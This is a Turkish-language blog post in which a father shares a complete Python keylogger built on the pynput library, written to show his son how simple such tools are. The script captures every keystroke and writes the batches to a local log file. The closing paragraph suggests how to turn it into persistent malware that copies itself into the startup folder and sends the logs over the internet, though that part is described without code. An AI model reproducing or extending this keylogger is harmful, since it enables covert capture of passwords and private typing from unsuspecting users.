Geçen haftalarda oğlumun yaşı itibarıyla çok merak duyduğu, bilgisayar ile ilişkili illegal çalışmaların hep 16 yaşında ve kapşonlu tiplerin uğraş alanı sanması üzerine konuşmamıza istinaden hazırladığım bir uygulamayı burada paylaşmak istiyorum. Zaman bulursam hiç bir zaman aktif bulunamadığım tozlanmış, küflenmiş github hesabıma da atıp zaman içinde geliştirmeyi de amaçlıyorum.
Projemizde pynput modülünü kullanacağız. Tüm detayları aşağıda paylaştığım linklerde mevcut, yani şu anda linkleri açıp oradan da devam edebilirisiniz. Biz her ne kadar bu modülü kötü amaçlı kullanmaya çalışıyor olsak da modülün amacı Python ile klavye ve mouse yönetimi, tuş basımlarını ve mouse tıklamalarını yakalamak ve yönetmek.
PyPi sayfası: https://pypi.org/project/pynput/
Detaylı dokümantasyon: https://pynput.readthedocs.io/en/latest/
İlk yapılması gereken komut satırından pynput modülünü kurmalısınız. Bunun için komut satırına şunu yazmanız yeterli;
pip install pynput
Her zaman yaptığım gibi kod içine kendi notlarımı alıyor olduğumdan direk paylaşacağım. Cevaplayabileceğim sorularınız olursa da yanıtlamaya çalışırım.
# -*- coding: utf-8 -*- """ @author: hmustak @2021 @mail: hakan[@]mustak.org @web: mustak.org @social: twitter.com/hmustak """ import pynput #modülümüzü ekliyoruz from pynput.keyboard import Key,Listener #kullanacağımız değişken ve dizilerimiz sayac = 0 keys = [] #tuşa basılma eylemi gerçekleştiğinde def on_press(key): global sayac,keys sayac += 1 #basılan tuşu yaz print("{0} pressed".format(key)) #diziye ekle keys.append(key) #Gelen tuşları kayıt altına alalım if sayac >= 10: sayac = 0 write_file(keys) keys = [] #eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz def write_file(keys): with open("keylog.txt" , "a" , encoding="utf-8") as file: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: file.write("\n") elif k.find("Key") == -1: file.write(k) #Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :) def on_release(key): if key == Key.esc: print("exit") return False #Tuş Dinlemeyi başlayalım with Listener(on_press = on_press, on_release = on_release) as listener: listener.join() #Hepsi bu kadar @hmustak
Log tutulan txt dosyası ise şöyle;
Tabi bunun her şeyden önce basit bir deneme olduğunu unutmayalım. Eğer bir şey yapılmak istenirse, python ile kolayca yapılabileceğini oğluma göstermek için yaptığım bir deneme. Böyle gereksiz bir uygulama için zamanı olup üşenmeyen arkadaşlar, scripti daha kompleks bir hale de getirilebilir. Aklıma ilk gelenler; Bilgisayarın açılış dizinine kendini kopyalayarak, sistem dosyası gibi kendini çalıştıracak, belli log dosyası büyüklüklerinde , eğer internette varsa (kontrol edip), o dosyaları gönderecek… gibi
Ama vaktiniz varsa AI için altyapınızı, hiç değilse dilinizi (ingilizce dememe gerek yok değil mi?) geliştirin derim.
Keyifli kod yazmalar
Hakan Müştak@2021
Bir yanıt yazın